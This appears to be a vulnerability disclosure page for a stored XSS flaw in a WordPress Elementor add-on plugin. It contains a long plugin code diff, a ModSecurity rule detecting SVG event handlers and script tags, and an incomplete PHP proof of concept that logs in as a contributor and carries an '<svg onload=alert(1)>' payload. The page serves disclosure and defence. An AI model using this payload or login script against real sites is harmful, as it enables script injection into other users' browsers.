-					'load'   => __( 'Page Load', 'premium-addons-for-elementor' ),
-					'scroll' => __( 'Scroll', 'premium-addons-for-elementor' ),
-				),
-				'default'   => 'load',
-				'condition' => array(
-					'premium_eq_height_switcher' => 'yes',
-				),
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_enable_on',
-			array(
-				'label'       => __( 'Enable Equal Height on', 'premium-addons-for-elementor' ),
-				'type'        => Controls_Manager::SELECT2,
-				'multiple'    => true,
-				'options'     => Helper_Functions::get_all_breakpoints(),
-				'label_block' => true,
-				'default'     => Helper_Functions::get_all_breakpoints( 'keys' ),
-				'condition'   => array(
-					'premium_eq_height_switcher' => 'yes',
-				),
-			)
-		);
-
-		$docs = array(
-			'https://premiumaddons.com/docs/elementor-column-equal-height/' => __( 'How to use Premium Equal Height feature »', 'premium-addons-for-elementor' ),
-			'https://www.youtube.com/watch?v=ZaZ163p-saA' => __( 'Video tutorial »', 'premium-addons-for-elementor' ),
-		);
-
-		$doc_index = 1;
-		foreach ( $docs as $url => $title ) {
-
-			$doc_url = Helper_Functions::get_campaign_link( $url, 'eq-height-addon', 'wp-editor', 'get-support' );
-
-			$element->add_control(
-				'doc_' . $doc_index,
-				array(
-					'type'            => Controls_Manager::RAW_HTML,
-					'raw'             => sprintf( '<a href="%s" target="_blank">%s</a>', $doc_url, $title ),
-					'content_classes' => 'editor-pa-doc',
-				)
-			);
-
-			++$doc_index;
-
-		}
-
-		$element->end_controls_section();
-	}
-
-	/**
-	 * Render Premium Equal Height output in the editor.
-	 *
-	 * Written as a Backbone JavaScript template and used to generate the live preview.
-	 *
-	 * @since 4.2.5
-	 * @access public
-	 * @param object $template for current template.
-	 * @param object $element for current element.
-	 */
-	public function _print_template( $template, $element ) {
-
-		$old_template = $template;
-		ob_start();
-
-		?>
-		<# if( 'yes' === settings.premium_eq_height_switcher ) {
-
-			var targetType = settings.premium_eq_height_type,
-
-				target = 'custom' === targetType ? settings.premium_eq_height_custom_target.split(',') : settings.premium_eq_height_target,
-
-				addonSettings = {
-					'targetType': targetType,
-					'target': target,
-					'trigger':settings.premium_eq_height_trigger,
-					'enableOn':settings.premium_eq_height_enable_on
-				};
-
-			view.addRenderAttribute( 'equal_height', {
-				'id' : 'premium-temp-equal-height-' + view.getID(),
-				'data-pa-eq-height': JSON.stringify( addonSettings )
-			});
-
-		#>
-			<div {{{ view.getRenderAttributeString( 'equal_height' ) }}}></div>
-		<# } #>
-		<?php
-
-		$element_content = ob_get_contents();
-
-		ob_end_clean();
-
-		$template = $element_content . $old_template;
-		return $template;
-	}
-
-	/**
-	 * Render Premium Equal Height output on the frontend.
-	 *
-	 * Written in PHP and used to generate the final HTML.
-	 *
-	 * @since 4.2.5
-	 * @access public
-	 *
-	 * @param object $element for current element.
-	 */
-	public function before_render( $element ) {
-
-		$settings = $element->get_settings_for_display();
-
-		if ( 'yes' === $settings['premium_eq_height_switcher'] ) {
-
-			$target_type = $settings['premium_eq_height_type'];
-
-			$target = ( 'custom' === $target_type ) ? explode( ',', $settings['premium_eq_height_custom_target'] ) : $settings['premium_eq_height_target'];
-
-			$addon_settings = array(
-				'targetType' => $target_type,
-				'target'     => $target,
-				'trigger'    => $settings['premium_eq_height_trigger'],
-				'enableOn'   => $settings['premium_eq_height_enable_on'],
-			);
-
-			$element->add_render_attribute( '_wrapper', 'data-pa-eq-height', wp_json_encode( $addon_settings ) );
-		}
-	}
-
-	/**
-	 * Check Script Enqueue
-	 *
-	 * Check if the script files should be loaded.
-	 *
-	 * @since 4.7.7
-	 * @access public
-	 *
-	 * @param object $element for current element.
-	 */
-	public function check_script_enqueue( $element ) {
-
-		if ( self::$load_script ) {
-			return;
-		}
-
-		if ( 'yes' === $element->get_settings_for_display( 'premium_eq_height_switcher' ) ) {
-			$this->enqueue_scripts();
-
-			self::$load_script = true;
-
-			remove_action( 'elementor/frontend/section/before_render', array( $this, 'check_script_enqueue' ) );
-			remove_action( 'elementor/frontend/container/before_render', array( $this, 'check_script_enqueue' ) );
-		}
-	}
-
-	/**
-	 * Creates and returns an instance of the class
-	 *
-	 * @since 4.2.5
-	 * @access public
-	 *
-	 * @return object
-	 */
-	public static function get_instance() {
-
-		if ( ! isset( self::$instance ) ) {
-
-			self::$instance = new self();
-
-		}
-
-		return self::$instance;
-	}
-}
+<?php
+/**
+ * Class: Equal_Height
+ * Name: Premium Equal Height
+ * Slug: premium-equal-height
+ */
+
+namespace PremiumAddonsAddons;
+
+// PremiumAddons Classes.
+use PremiumAddonsIncludesControlsPremium_Select;
+use PremiumAddonsAdminIncludesAdmin_Helper;
+use PremiumAddonsIncludesHelper_Functions;
+
+// Elementor Classes.
+use ElementorRepeater;
+use ElementorControls_Manager;
+
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Class Equal_Height
+ *
+ * @since 4.11.58
+ * @access public
+ * @package PremiumAddonsAddons
+ */
+class Equal_Height {
+
+	/**
+	 * Load Script
+	 *
+	 * @var $load_script
+	 */
+	private static $load_script = null;
+
+	/**
+	 * Class object
+	 *
+	 * @var instance
+	 */
+	private static $instance = null;
+
+	/**
+	 * Class Constructor Function.
+	 */
+	public function __construct() {
+
+		// Enqueue the required JS file.
+		add_action( 'elementor/preview/enqueue_scripts', array( $this, 'enqueue_scripts' ) );
+
+		// Create Premium Equal Height tab at the end of section layout tab.
+		add_action( 'elementor/element/section/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
+
+		add_action( 'elementor/section/print_template', array( $this, '_print_template' ), 10, 2 );
+
+		// Insert data before section rendering.
+		add_action( 'elementor/frontend/section/before_render', array( $this, 'before_render' ), 10, 1 );
+
+		// Check if scripts should be loaded.
+		add_action( 'elementor/frontend/section/before_render', array( $this, 'check_script_enqueue' ) );
+
+		add_action( 'elementor/element/container/section_layout/after_section_end', array( $this, 'register_controls' ), 10 );
+		add_action( 'elementor/container/print_template', array( $this, '_print_template' ), 10, 2 );
+		add_action( 'elementor/frontend/container/before_render', array( $this, 'before_render' ), 100, 1 );
+		add_action( 'elementor/frontend/container/before_render', array( $this, 'check_script_enqueue' ) );
+	}
+
+	/**
+	 * Enqueue scripts.
+	 *
+	 * Registers required dependencies for the extension and enqueues them.
+	 *
+	 * @since 1.6.5
+	 * @access public
+	 */
+	public function enqueue_scripts() {
+
+		if ( ! wp_script_is( 'pa-eq-height', 'enqueued' ) ) {
+			wp_enqueue_script( 'pa-eq-height' );
+		}
+	}
+
+	/**
+	 * Register Premium Equal Height controls.
+	 *
+	 * @access public
+	 * @param object $element for current element.
+	 */
+	public function register_controls( $element ) {
+
+		$element->start_controls_section(
+			'section_premium_eq_height',
+			array(
+				'label' => sprintf( '<i class="pa-extension-icon pa-dash-icon"></i> %s', __( 'Equal Height', 'premium-addons-for-elementor' ) ),
+				'tab'   => Controls_Manager::TAB_ADVANCED,
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_update',
+			array(
+				'label' => '<div class="elementor-update-preview editor-pa-preview-update" style="background-color: #fff;"><div class="elementor-update-preview-title">Update changes to page</div><div class="elementor-update-preview-button-wrapper"><button class="elementor-update-preview-button elementor-button elementor-button-success">Apply</button></div></div>',
+				'type'  => Controls_Manager::RAW_HTML,
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_switcher',
+			array(
+				'label'              => __( 'Enable Equal Height', 'premium-addons-for-elementor' ),
+				'type'               => Controls_Manager::SWITCHER,
+				'return_value'       => 'yes',
+				'render_type'        => 'template',
+				'prefix_class'       => 'premium-equal-height-',
+				'frontend_available' => true,
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_type',
+			array(
+				'label'     => __( 'Apply on', 'premium-addons-for-elementor' ),
+				'type'      => Controls_Manager::SELECT,
+				'default'   => 'widget',
+				'options'   => array(
+					'widget' => __( 'Widgets', 'premium-addons-for-elementor' ),
+					'custom' => __( 'Custom Selector', 'premium-addons-for-elementor' ),
+				),
+				'condition' => array(
+					'premium_eq_height_switcher' => 'yes',
+				),
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_target',
+			array(
+				'label'              => __( 'Widgets', 'premium-addons-for-elementor' ),
+				'type'               => Premium_Select::TYPE,
+				'render_type'        => 'template',
+				'label_block'        => true,
+				'multiple'           => true,
+				'frontend_available' => true,
+				'condition'          => array(
+					'premium_eq_height_switcher' => 'yes',
+					'premium_eq_height_type'     => 'widget',
+				),
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_custom_target',
+			array(
+				'label'       => __( 'Selectors', 'premium-addons-for-elementor' ),
+				'type'        => Controls_Manager::TEXT,
+				'label_block' => true,
+				'placeholder' => __( '.class-name, .class-name2 .my-custom-class', 'premium-addons-for-elementor' ),
+				'description' => __( 'Enter selectors separated with ' , ' ', 'premium-addons-for-elementor' ),
+				'condition'   => array(
+					'premium_eq_height_switcher' => 'yes',
+					'premium_eq_height_type'     => 'custom',
+				),
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_trigger',
+			array(
+				'label'     => __( 'Trigger on', 'premium-addons-for-elementor' ),
+				'type'      => Controls_Manager::SELECT,
+				'options'   => array(
+					'load'   => __( 'Page Load', 'premium-addons-for-elementor' ),
+					'scroll' => __( 'Scroll', 'premium-addons-for-elementor' ),
+				),
+				'default'   => 'load',
+				'condition' => array(
+					'premium_eq_height_switcher' => 'yes',
+				),
+			)
+		);
+
+		$element->add_control(
+			'premium_eq_height_enable_on',
+			array(
+				'label'       => __( 'Enable Equal Height on', 'premium-addons-for-elementor' ),
+				'type'        => Controls_Manager::SELECT2,
+				'multiple'    => true,
+				'options'     => Helper_Functions::get_all_breakpoints(),
+				'label_block' => true,
+				'default'     => Helper_Functions::get_all_breakpoints( 'keys' ),
+				'condition'   => array(
+					'premium_eq_height_switcher' => 'yes',
+				),
+			)
+		);
+
+		$docs = array(
+			'https://premiumaddons.com/docs/elementor-column-equal-height/' => __( 'How to use Premium Equal Height feature »', 'premium-addons-for-elementor' ),
+			'https://www.youtube.com/watch?v=ZaZ163p-saA' => __( 'Video tutorial »', 'premium-addons-for-elementor' ),
+		);
+
+		$doc_index = 1;
+		foreach ( $docs as $url => $title ) {
+
+			$doc_url = Helper_Functions::get_campaign_link( $url, 'eq-height-addon', 'wp-editor', 'get-support' );
+
+			$element->add_control(
+				'doc_' . $doc_index,
+				array(
+					'type'            => Controls_Manager::RAW_HTML,
+					'raw'             => sprintf( '<a href="%s" target="_blank">%s</a>', $doc_url, $title ),
+					'content_classes' => 'editor-pa-doc',
+				)
+			);
+
+			++$doc_index;
+
+		}
+
+		$element->end_controls_section();
+	}
+
+	/**
+	 * Render Premium Equal Height output in the editor.
+	 *
+	 * Written as a Backbone JavaScript template and used to generate the live preview.
+	 *
+	 * @since 4.2.5
+	 * @access public
+	 * @param object $template for current template.
+	 * @param object $element for current element.
+	 */
+	public function _print_template( $template, $element ) {
+
+		$old_template = $template;
+		ob_start();
+
+		?>
+		<# if( 'yes' === settings.premium_eq_height_switcher ) {
+
+			var targetType = settings.premium_eq_height_type,
+
+				target = 'custom' === targetType ? settings.premium_eq_height_custom_target.split(',') : settings.premium_eq_height_target,
+
+				addonSettings = {
+					'targetType': targetType,
+					'target': target,
+					'trigger':settings.premium_eq_height_trigger,
+					'enableOn':settings.premium_eq_height_enable_on
+				};
+
+			view.addRenderAttribute( 'equal_height', {
+				'id' : 'premium-temp-equal-height-' + view.getID(),
+				'data-pa-eq-height': JSON.stringify( addonSettings )
+			});
+
+		#>
+			<div {{{ view.getRenderAttributeString( 'equal_height' ) }}}></div>
+		<# } #>
+		<?php
+
+		$element_content = ob_get_contents();
+
+		ob_end_clean();
+
+		$template = $element_content . $old_template;
+		return $template;
+	}
+
+	/**
+	 * Render Premium Equal Height output on the frontend.
+	 *
+	 * Written in PHP and used to generate the final HTML.
+	 *
+	 * @since 4.2.5
+	 * @access public
+	 *
+	 * @param object $element for current element.
+	 */
+	public function before_render( $element ) {
+
+		$settings = $element->get_settings_for_display();
+
+		if ( 'yes' === $settings['premium_eq_height_switcher'] ) {
+
+			$target_type = $settings['premium_eq_height_type'];
+
+			$target = ( 'custom' === $target_type ) ? explode( ',', $settings['premium_eq_height_custom_target'] ) : $settings['premium_eq_height_target'];
+
+			$addon_settings = array(
+				'targetType' => $target_type,
+				'target'     => $target,
+				'trigger'    => $settings['premium_eq_height_trigger'],
+				'enableOn'   => $settings['premium_eq_height_enable_on'],
+			);
+
+			$element->add_render_attribute( '_wrapper', 'data-pa-eq-height', wp_json_encode( $addon_settings ) );
+		}
+	}
+
+	/**
+	 * Check Script Enqueue
+	 *
+	 * Check if the script files should be loaded.
+	 *
+	 * @since 4.7.7
+	 * @access public
+	 *
+	 * @param object $element for current element.
+	 */
+	public function check_script_enqueue( $element ) {
+
+		if ( self::$load_script ) {
+			return;
+		}
+
+		if ( 'yes' === $element->get_settings_for_display( 'premium_eq_height_switcher' ) ) {
+			$this->enqueue_scripts();
+
+			self::$load_script = true;
+
+			remove_action( 'elementor/frontend/section/before_render', array( $this, 'check_script_enqueue' ) );
+			remove_action( 'elementor/frontend/container/before_render', array( $this, 'check_script_enqueue' ) );
+		}
+	}
+
+	/**
+	 * Creates and returns an instance of the class
+	 *
+	 * @since 4.2.5
+	 * @access public
+	 *
+	 * @return object
+	 */
+	public static function get_instance() {
+
+		if ( ! isset( self::$instance ) ) {
+
+			self::$instance = new self();
+
+		}
+
+		return self::$instance;
+	}
+}
--- a/premium-addons-for-elementor/addons/floating-effects.php
+++ b/premium-addons-for-elementor/addons/floating-effects.php
@@ -1,1175 +1,1175 @@
-<?php
-/**
- * Class: Floating_Effects
- * Name: Floating Effects
- * Slug: floating-effects
- */
-
-namespace PremiumAddonsAddons;
-
-// PremiumAddons Classes.
-use PremiumAddonsAdminIncludesAdmin_Helper;
-use PremiumAddonsIncludesHelper_Functions;
-
-// Elementor Classes.
-use ElementorRepeater;
-use ElementorControls_Manager;
-use ElementorCoreKitsDocumentsTabsGlobal_Colors;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Class Floating_Effects
- *
- * @since 4.11.58
- * @access public
- * @package PremiumAddonsAddons
- */
-class Floating_Effects {
-
-	/**
-	 * Load Script
-	 *
-	 * @var $load_script
-	 */
-	private static $load_script = null;
-
-	/**
-	 * Class object
-	 *
-	 * @var instance
-	 */
-	private static $instance = null;
-
-	/**
-	 * Class Constructor Function
-	 */
-	public function __construct() {
-
-		// Enqueue the required JS file.
-		add_action( 'elementor/preview/enqueue_scripts', array( $this, 'enqueue_scripts' ) );
-
-		// Creates Premium Floating Effects tab at the end of advanced tab.
-		add_action( 'elementor/element/common/_section_style/after_section_end', array( $this, 'register_controls' ), 10 );
-
-		// Check if scripts should be loaded.
-		add_action( 'elementor/frontend/widget/before_render', array( $this, 'check_script_enqueue' ) );
-	}
-
-	/**
-	 * Enqueue scripts.
-	 *
-	 * Registers required dependencies for the extension and enqueues them.
-	 *
-	 * @since 1.6.5
-	 * @access public
-	 */
-	public function enqueue_scripts() {
-
-		if ( ! wp_script_is( 'pa-anime', 'enqueued' ) ) {
-			wp_enqueue_script( 'pa-anime' );
-		}
-
-		if ( ! wp_script_is( 'pa-feffects', 'enqueued' ) ) {
-			wp_enqueue_script( 'pa-feffects' );
-		}
-	}
-
-
-	/**
-	 * Register Floating Effects controls.
-	 *
-	 * @since 1.0.0
-	 * @access public
-	 * @param object $element for current element.
-	 */
-	public function register_controls( $element ) {
-
-		$element->start_controls_section(
-			'section_premium_fe',
-			array(
-				'label' => sprintf( '<i class="pa-extension-icon pa-dash-icon"></i> %s', __( 'Floating Effects', 'premium-addons-for-elementor' ) ),
-				'tab'   => Controls_Manager::TAB_ADVANCED,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_switcher',
-			array(
-				'label'        => __( 'Enable Floating Effects', 'premium-addons-for-elementor' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'prefix_class' => 'premium-floating-effects-',
-				'render_type'  => 'template',
-			)
-		);
-
-		$doc_link = Helper_Functions::get_campaign_link( 'https://premiumaddons.com/docs/elementor-floating-effects-tutorial/', 'feffect-addon', 'wp-editor', 'get-support' );
-
-		$element->add_control(
-			'pa_floating_effects_notice',
-			array(
-				'type'            => Controls_Manager::RAW_HTML,
-				'raw'             => '<a href="' . esc_url( $doc_link ) . '" target="_blank">' . __( 'How to use Premium Floating Effects for Elementor »', 'premium-addons-for-elementor' ) . '</a>',
-				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
-				'condition'       => array(
-					'premium_fe_switcher' => 'yes',
-				),
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_trigger',
-			array(
-				'label'              => __( 'Play On', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SELECT,
-				'default'            => 'load',
-				'options'            => array(
-					'load'    => __( 'Page Load', 'premium-addons-for-elementor' ),
-					'hover'   => __( 'Hover', 'premium-addons-for-elementor' ),
-				),
-				'condition'          => array(
-					'premium_fe_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_target',
-			array(
-				'label'              => __( 'Custom CSS Selector', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::TEXT,
-				'description'        => __( 'Set this option if you want to apply floating effects on specfic selector inside your widget. For example, .premium-dual-header-container', 'premium-addons-for-elementor' ),
-				'dynamic'            => array( 'active' => true ),
-				'label_block'        => true,
-				'render_type'        => 'template',
-				'ai'          => array(
-					'active' => false,
-				),
-				'condition'          => array(
-					'premium_fe_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$get_pro = Helper_Functions::get_campaign_link( 'https://premiumaddons.com/pro', 'feffect-addon', 'wp-editor', 'get-pro' );
-
-		$papro_activated = Helper_Functions::check_papro_version();
-
-		if ( ! $papro_activated ) {
-			$element->add_control(
-				'floating_effects_notice',
-				array(
-					'type'            => Controls_Manager::RAW_HTML,
-					'raw'             => __( 'The options in Filters tab are available in Premium Addons Pro.', 'premium-addons-for-elementor' ) . '<a href="' . esc_url( $get_pro ) . '" target="_blank">' . __( 'Upgrade now!', 'premium-addons-for-elementor' ) . '</a>',
-					'content_classes' => 'papro-upgrade-notice',
-					'condition'       => array(
-						'premium_fe_switcher' => 'yes',
-					),
-				)
-			);
-		}
-
-		$element->start_controls_tabs( 'effects_tabs' );
-
-		$element->start_controls_tab(
-			'motion_effects_tab',
-			array(
-				'label'     => __( 'Motion', 'premium-addons-for-elementor' ),
-				'condition' => array(
-					'premium_fe_switcher' => 'yes',
-				),
-			)
-		);
-
-		/**--------Translate Effect Controls---------*/
-		$element->add_control(
-			'premium_fe_translate_switcher',
-			array(
-				'label'              => __( 'Translate', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SWITCHER,
-				'condition'          => array(
-					'premium_fe_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Xtranslate',
-			array(
-				'label'              => __( 'Translate X', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 0,
-						'to'   => 5,
-					),
-					'unit'  => 'px',
-				),
-				'range'              => array(
-					'px' => array(
-						'min'  => -150,
-						'max'  => 150,
-						'step' => 1,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'           => 'yes',
-					'premium_fe_translate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Ytranslate',
-			array(
-				'label'              => __( 'Translate Y', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 0,
-						'to'   => 5,
-					),
-					'unit'  => 'px',
-				),
-				'range'              => array(
-					'px' => array(
-						'min'  => -150,
-						'max'  => 150,
-						'step' => 1,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'           => 'yes',
-					'premium_fe_translate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_trans_duration',
-			array(
-				'label'              => __( 'Duration', 'premium-addons-for-elementor' ) . ' (ms)',
-				'type'               => Controls_Manager::SLIDER,
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10000,
-						'step' => 100,
-					),
-				),
-				'default'            => array(
-					'unit' => 'px',
-					'size' => 1000,
-				),
-				'condition'          => array(
-					'premium_fe_switcher'           => 'yes',
-					'premium_fe_translate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_trans_delay',
-			array(
-				'label'              => __( 'Delay', 'premium-addons-for-elementor' ) . ' (ms)',
-				'type'               => Controls_Manager::SLIDER,
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10000,
-						'step' => 100,
-					),
-				),
-				'condition'          => array(
-					'premium_fe_switcher'           => 'yes',
-					'premium_fe_translate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		/**--------Rotate Effect Controls---------*/
-		$element->add_control(
-			'premium_fe_rotate_switcher',
-			array(
-				'label'              => __( 'Rotate', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SWITCHER,
-				'condition'          => array(
-					'premium_fe_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Xrotate',
-			array(
-				'label'              => __( 'Rotate X', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 0,
-						'to'   => 45,
-					),
-					'unit'  => 'deg',
-				),
-				'range'              => array(
-					'deg' => array(
-						'min' => -180,
-						'max' => 180,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'        => 'yes',
-					'premium_fe_rotate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Yrotate',
-			array(
-				'label'              => __( 'Rotate Y', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 0,
-						'to'   => 45,
-					),
-					'unit'  => 'deg',
-				),
-				'range'              => array(
-					'deg' => array(
-						'min' => -180,
-						'max' => 180,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'        => 'yes',
-					'premium_fe_rotate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Zrotate',
-			array(
-				'label'              => __( 'Rotate Z', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 0,
-						'to'   => 45,
-					),
-					'unit'  => 'deg',
-				),
-				'range'              => array(
-					'deg' => array(
-						'min' => -180,
-						'max' => 180,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'        => 'yes',
-					'premium_fe_rotate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_rotate_duration',
-			array(
-				'label'              => __( 'Duration', 'premium-addons-for-elementor' ) . ' (ms)',
-				'type'               => Controls_Manager::SLIDER,
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10000,
-						'step' => 100,
-					),
-				),
-				'default'            => array(
-					'unit' => 'px',
-					'size' => 1000,
-				),
-				'condition'          => array(
-					'premium_fe_switcher'        => 'yes',
-					'premium_fe_rotate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_rotate_delay',
-			array(
-				'label'              => __( 'Delay', 'premium-addons-for-elementor' ) . ' (ms)',
-				'type'               => Controls_Manager::SLIDER,
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 10000,
-						'step' => 100,
-					),
-				),
-				'condition'          => array(
-					'premium_fe_switcher'        => 'yes',
-					'premium_fe_rotate_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		/**--------Scale Effect Controls---------*/
-		$element->add_control(
-			'premium_fe_scale_switcher',
-			array(
-				'label'              => __( 'Scale', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SWITCHER,
-				'condition'          => array(
-					'premium_fe_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Xscale',
-			array(
-				'label'              => __( 'Scale X', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 1,
-						'to'   => 1.2,
-					),
-					'unit'  => 'px',
-				),
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 2,
-						'step' => 0.1,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'       => 'yes',
-					'premium_fe_scale_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_Yscale',
-			array(
-				'label'              => __( 'Scale Y', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SLIDER,
-				'default'            => array(
-					'sizes' => array(
-						'from' => 1,
-						'to'   => 1.2,
-					),
-					'unit'  => 'px',
-				),
-				'range'              => array(
-					'px' => array(
-						'min'  => 0,
-						'max'  => 2,
-						'step' => 0.1,
-					),
-				),
-				'labels'             => array(
-					__( 'From', 'premium-addons-for-elementor' ),
-					__( 'To', 'premium-addons-for-elementor' ),
-				),
-				'scales'             => 1,
-				'handles'            => 'range',
-				'condition'          => array(
-					'premium_fe_switcher'       => 'yes',
-					'premium_fe_scale_switcher' => 'yes',
-				),
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_fe_scale_duration',
-			array(
-				'label'            

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4790
# Blocks stored XSS attempts via custom_svg parameter in Premium Addons for Elementor (<=4.11.70)
# Detects SVG content with JavaScript event handlers or script tags
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264790,phase:2,deny,status:403,chain,msg:'CVE-2026-4790 Stored XSS via custom_svg',severity:'CRITICAL',tag:'CVE-2026-4790'"
  SecRule ARGS_POST:action "@rx ^(save_builder|elementor_ajax|update_elementor_settings)$" "chain"
    SecRule ARGS_POST:custom_svg "@rx <svg[^>]*on[a-z]+s*=|<?/?script[^>]*>" "t:urlDecode,t:lowercase,chain"
      SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4790 - Premium Addons for Elementor <= 4.11.70 - Authenticated (Contributor+) Stored XSS via 'custom_svg' Parameter

define('TARGET_URL', 'http://example.com'); // Change this to the target WordPress URL
define('ATTACKER_USER', 'contributor');
define('ATTACKER_PASS', 'password');

$payload = '<svg onload=alert(1)>';

// Login and get nonce
$login_url = TARGET_URL . '/wp-login.php';
$post_data = [
    'log' => ATTACKER_USER,
    'pwd' => ATTACKER_PASS,
    'wp-submit' => 'Log In',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
